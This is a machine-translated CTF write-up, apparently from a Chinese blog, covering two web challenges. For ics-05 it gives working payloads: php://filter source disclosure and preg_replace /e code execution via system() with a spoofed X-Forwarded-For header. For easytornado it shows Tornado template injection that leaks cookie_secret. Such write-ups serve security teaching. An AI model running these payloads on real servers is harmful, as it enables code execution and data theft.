当前位置:网站首页>[attack and defense world web] difficulty Samsung 9-point introductory question (middle): ics-05, easytornado
[attack and defense world web] difficulty Samsung 9-point introductory question (middle): ics-05, easytornado
2022-07-23 15:52:00 【Black zone (rise)】
Catalog
3、 ... and 、ics-05
How to solve the problem :
1、php Code understanding 、php Fake protocol
The process :
I went in and scanned it first
index.html It's the home page
index.php It is the only cloud platform equipment maintenance center that can be accessed ( The focus should be on this page )
View page source code
Ctrl+U
Found at the bottom base64 Encrypted ciphertext
After decryption
( It is the same as the source code read later )
After clicking , Found Chuanshen
consider :
Inject
File contains
php Fake protocol ( perform php Code )
Inject :( nothing )
File contains :
You can read a lot , But at this level , You can't find flag
Global environment
Port name
Service number - Port table
php Fake protocol :
?page=php://filter/read=convert.base64-encode/resource=index.php
( Use base64 After encryption , It will not be executed when it is brought out , Then decode it by yourself )
Use this tool to decode garbled code ( Changed a tool to decode )
Use online decoding tools
// Convenient to achieve the function of input and output , Functions under development , It can only be tested internally if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { // If the request package contains HTTP_X_FORWARDED_FOR by 127.0.0.1 echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); // take subject Match pattern Some of them use replacement Replace }else{ die();This code should be the focus
need :
1、X-Forwarded-For: 127.0.0.1
2、 Parameters pat、rep、sub3、preg_replace function :preg_replace($pattern, $replacement, $subject) The function will subject Match pattern Some of them use replacement Replace , Enable /e Parameters , Will be replacement treat as php Code execution
structure payload:
?pat=//e&rep=system("ls")&sub=1
Use bp Grab the bag
payload:
?pat=//e&rep=system("ls%20-R%20s3chahahaDir")&sub=1
ls -R Recursively display all files in the folder directory
%20 Is a space url code
payload:
Read flag
?pat=//e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=1
![]()
Four 、easytornado
How to solve the problem :
1、Tornado Frame loopholes 、MD5 encryption
The process :
I know the file name
MD5 How to generate
We already know the file name , We still have to find cookie_secret
The prompt of this customs is Tornado frame
Online related framework vulnerabilities , You can use { {handler.settings}} Access profile
See the page above file?filename= The ginseng
structure payload:/file?filename={ {handler.settings}}
I found the wrong report
And there are error?msg= Pass on the reference
Try to construct /error?msg={ {handler.settings}}
Burst out cookie_secret
b10655cb-3884-492c-b534-4feff4790db3
What I got earlier MD5(Cookie_secret+MD5(filename) )
Cookie_secret=b10655cb-3884-492c-b534-4feff4790db3
MD5(/fllllllllllllag) =3bf9f6cf685a6dd8defadabfb41a03a1
therefore
MD5(Cookie_secret+MD5(filename) )=(b10655cb-3884-492c-b534-4feff4790db33bf9f6cf685a6dd8defadabfb41a03a1)
Got MD5 by
4f91aebe3800a21135e140d4f94424e1
take flag.txt The parameters of the page are constructed as access /fllllllllllllag Parameters of
file?filename=/fllllllllllllag&filehash=4f91aebe3800a21135e140d4f94424e1
边栏推荐
- 没有了华为,高通任意涨价,缺乏核心技术的国产手机只能任由宰割
- Safe operation 7.22
- Idea five free plug-ins to improve efficiency
- BGP federal experiment
- 在多个数字(有重复)中找到最小值以及所在位置
- C语言学习笔记
- 一个悄然崛起的国产软件,太强了!
- xxl-job 实现email发送警告的代码解析(一行一行代码解读)
- 【Try to Hack】sql注入 Less7 (into outfile和布尔盲注)
- As a tester, you cannot fail to understand ADB commands and operations
猜你喜欢
随机推荐
数据治理浅析
Part II how to design an RBAC authority system
第五篇 Druid数据源介绍
【无标题】
Open source quadruped robot with design drawings and code "suggestions collection"
Safe and reasonable use of electricity to harvest a cool "summer"
[hiflow] regularly send Tencent cloud SMS sending group
云服务器ECS远程监控
软件测试周刊(第81期):能够对抗消极的不是积极,而是专注;能够对抗焦虑的不是安慰,而是具体。
Time series data in industrial Internet of things
Where can I download airserver? How to use tutorial
VMware virtual machine download, installation and use tutorial
BGP basic configuration
Jsd-2204 session management filter day19
What is the real HTAP? (2) Challenge article
day14函数模块
在多个数字(有重复)中找到最小值以及所在位置
10100
Custom encapsulation pop-up box (with progress bar)
Expression du suffixe (une question par jour pendant les vacances d'été 4)








Service number - Port table 



















![php:filter伪协议之[BSidesCF 2020]Had a bad day](/img/ad/1e23fadb3f1ce36b297aaa767d9099.png)






